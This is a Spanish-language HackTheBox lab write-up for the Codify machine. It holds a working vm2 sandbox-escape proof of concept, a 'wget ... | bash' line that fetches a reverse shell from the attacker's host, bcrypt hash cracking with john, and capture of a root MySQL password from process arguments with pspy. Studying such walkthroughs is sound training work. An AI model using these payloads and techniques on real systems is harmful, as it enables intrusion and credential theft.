This page looks best with JavaScript enabled

HackTheBox - Codify

 •  ✍️ sckull

En Codify realizamos “bypass” a un sandbox vm2 lo que nos dio acceso a un primer usuario. Dentro, descubrimos una base de datos sqlite en la que obtuvimos el hash y acceso a un segundo usuario. Finalmente escalamos privilegios tras monitorear la ejecucion de un script que realizaba una conexion con MySQL.

Nombre Codify box_img_maker
OS

Linux

Puntos 20
Dificultad Facil
IP 10.10.11.239
Maker

kavigihan

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[5.2, 5, 5.3, 4.7, 5],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         {
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
# Nmap 7.94 scan initiated Sat Nov  4 18:41:10 2023 as: nmap -p22,80,3000 -sV -sC -oN nmap_scan 10.129.155.61
Nmap scan report for 10.129.155.61
Host is up (0.066s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp   open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://codify.htb/
3000/tcp open  http    Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Nov  4 18:41:26 2023 -- 1 IP address (1 host up) scanned in 15.58 seconds

Web Site

El sitio web nos redirige al dominio codify.htb el cual agregamos al archivo /etc/hosts.

1
2
3
4
5
6
7
8
 π ~/htb/codify ❯ curl -sI 10.129.155.61
HTTP/1.1 301 Moved Permanently
Date: Sat, 04 Nov 2023 22:41:47 GMT
Server: Apache/2.4.52 (Ubuntu)
Location: http://codify.htb/
Content-Type: text/html; charset=iso-8859-1

 π ~/htb/codify ❯ 

El sitio explica y expone una herramienta para probar node.js en un entorno de sandbox.

image

Tambien se describen limitaciones como modulos asi como tambien modulos que estan permitidos.

image

Observamos la ejecucion de una linea de codigo en el editor.

image

Sandbox Bypass

Encontramos un PoC para realizar bypass a un vm2 Sandbox, ejecutamos un whoami;id modificando el PoC.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('whoami;d');
}
`

console.log(vm.run(code));

Observamos el resultado de la ejecucion.

image

SVC - User

Modificamos el codigo nuevamente para ejecutar una shell inversa con shells.

1
2
3
4
5
6
7
8
// [ ... ]

} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('wget -qO- 10.10.14.55:8000/10.10.14.55:1335|bash');
}
`

console.log(vm.run(code));

Tras la ejecucion obtuvimos una shell como svc.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
 π ~/htb/codify ❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.55] from codify.htb [10.129.155.61] 38788
/bin/sh: 0: can't access tty; job control turned off
$ which python
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
svc@codify:~$ whoamiwhoami;id;pwd
svc
uid=1001(svc) gid=1001(svc) groups=1001(svc)
/home/svc
svc@codify:~$

Descubrimos una base de datos sqlite en /var/www/contact.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
svc@codify:/var/www/contact$ ls -lah
total 120K
drwxr-xr-x 3 svc  svc  4.0K Sep 12 17:45 .
drwxr-xr-x 5 root root 4.0K Sep 12 17:40 ..
-rw-rw-r-- 1 svc  svc  4.3K Apr 19  2023 index.js
-rw-rw-r-- 1 svc  svc   268 Apr 19  2023 package.json
-rw-rw-r-- 1 svc  svc   76K Apr 19  2023 package-lock.json
drwxrwxr-x 2 svc  svc  4.0K Apr 21  2023 templates
-rw-r--r-- 1 svc  svc   20K Sep 12 17:45 tickets.db
svc@codify:/var/www/contact$ file tickets.db
file tickets.db
tickets.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 17, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 17
svc@codify:/var/www/contact$

Vemos que existe sqlite3 en la maquina, realizamos la conexion con el archivo y observamos que existe un unico usuario y se muestra el hash de este.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
svc@codify:/var/www/contact$ which which sqlite
svc@codify:/var/www/contact$ which which sqlite3
/usr/bin/sqlite3
svc@codify:/var/www/contact$ sqlite3
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open .open tickets.db
sqlite> .schem.schema
CREATE TABLE users (
        id INTEGER PRIMARY KEY AUTOINCREMENT, 
        username TEXT UNIQUE, 
        password TEXT
    );
CREATE TABLE sqlite_sequence(name,seq);
CREATE TABLE tickets (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT, description TEXT, status TEXT);
sqlite> select username,password from users;
joshua|$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
sqlite>

Crack The Hash

Ejecutamos john con el wordlist rockyou.txt sobre el archivo de hash, observamos en texto plano la contrasena.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
 π ~/htb/codify ❯ john --wordlist=$ROCK hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob1       (?)     
1g 0:00:00:54 DONE (2023-11-04 19:28) 0.01850g/s 25.31p/s 25.31c/s 25.31C/s crazy1..angel123
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
 π ~/htb/codify ❯ 

User - Joshua

Observamos que el usuario joshua existe en la maquina.

1
2
3
4
5
svc@codify:/var/www/contact$ cat /etc/passwd | grep home
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
joshua:x:1000:1000:,,,:/home/joshua:/bin/bash
svc:x:1001:1001:,,,:/home/svc:/bin/bash
svc@codify:/var/www/contact$

Ejecutamos su para cambiar de usuario, obtuvimos acceso y nuestra flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
svc@codify:/var/www/contact$ su joshua
Password: spongebob1
joshua@codify:/var/www/contact$ whoami;id
joshua
uid=1000(joshua) gid=1000(joshua) groups=1000(joshua)
joshua@codify:/var/www/contact$ cd
joshua@codify:~$ ls
user.txt
joshua@codify:~$ cat user.txt
e979914d4dd0a45f7bda4a79e4573fbe
joshua@codify:~$ 

Privesc

Joshua puede ejecutar como root el script mysql-backup.sh.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
joshua@codify:~$ sudo -l -l
[sudo] password for joshua: spongebob1

Matching Defaults entries for joshua on codify:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User joshua may run the following commands on codify:

Sudoers entry:
    RunAsUsers: root
    Commands:
	/opt/scripts/mysql-backup.sh
joshua@codify:~$

El script realiza la lectura de la contrasena en /root/.creds utiliza esta para realizar un backup de la base de datos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

pspy - MySQL Password

Intentamos monitorear la ejecucion del script utilizando pspy, ya que cuando se realiza la conexion con la base de datos utiliza la contrasena en el comando, por lo que es posible ver esta.

Ejecutamos el script con sudo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
joshua@codify:~$ sudo /opt/scripts/mysql-backup.sh
Enter MySQL password for root: 
Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
Backing up database: mysql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
Backing up database: sys
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
All databases backed up successfully!
Changing the permissions
Done!
joshua@codify:~$

Observamos que la contrasena se muestra en la ejecucion de mysql.

1
2
3
2023/11/05 00:23:49 CMD: UID=0     PID=45039  | /bin/bash /opt/scripts/mysql-backup.sh 
2023/11/05 00:23:49 CMD: UID=0     PID=45038  | /usr/bin/mysql -u root -h 0.0.0.0 -P 3306 -pkljh12k3jhaskjh12kjh3 -e SHOW DATABASES; 
2023/11/05 00:23:49 CMD: UID=0     PID=45040  | /usr/bin/echo Backing up database: mysql

Shell

Utilizamos esta contrasena para ejecutar su logrando obtener acceso como root y finalmente nuestra flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
joshua@codify:~$ su
Password: 
root@codify:/home/joshua# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
root@codify:/home/joshua# cd
root@codify:~# ls
root.txt  scripts
root@codify:~# cat root.txt 
0892cfddaa57cdb1fc8aceaad0cd4e1a
root@codify:~# cat .creds 
kljh12k3jhaskjh12kjh3
root@codify:~#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe